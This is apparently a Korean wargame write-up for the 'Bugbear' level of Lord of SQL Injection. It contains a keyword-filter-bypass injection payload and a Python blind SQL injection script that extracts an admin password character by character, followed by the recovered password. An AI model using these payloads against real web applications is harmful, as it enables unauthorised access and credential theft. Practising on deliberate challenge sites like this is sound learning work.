Web Hacking/Lord of SQL Injection
[Lord of SQL Injection] Bugbear
SolB
2022. 10. 9. 17:00
pw에서 싱글쿼터의 입력을 막아두었고,
no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.
위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.
?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)
아래는 비밀번호 구하는 자동화 스크립트이다.
ascii를 사용하지 못하기 때문에 hex를 이용해주었다.
import requests
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}
arr=[]
for k in range(1,9):
for j in range(32,127):
val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
res=requests.get(url+val, cookies=cookies)
if "Hello admin" in res.text:
arr.append(chr(j))
print(arr)
break
print("password=",arr)
이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.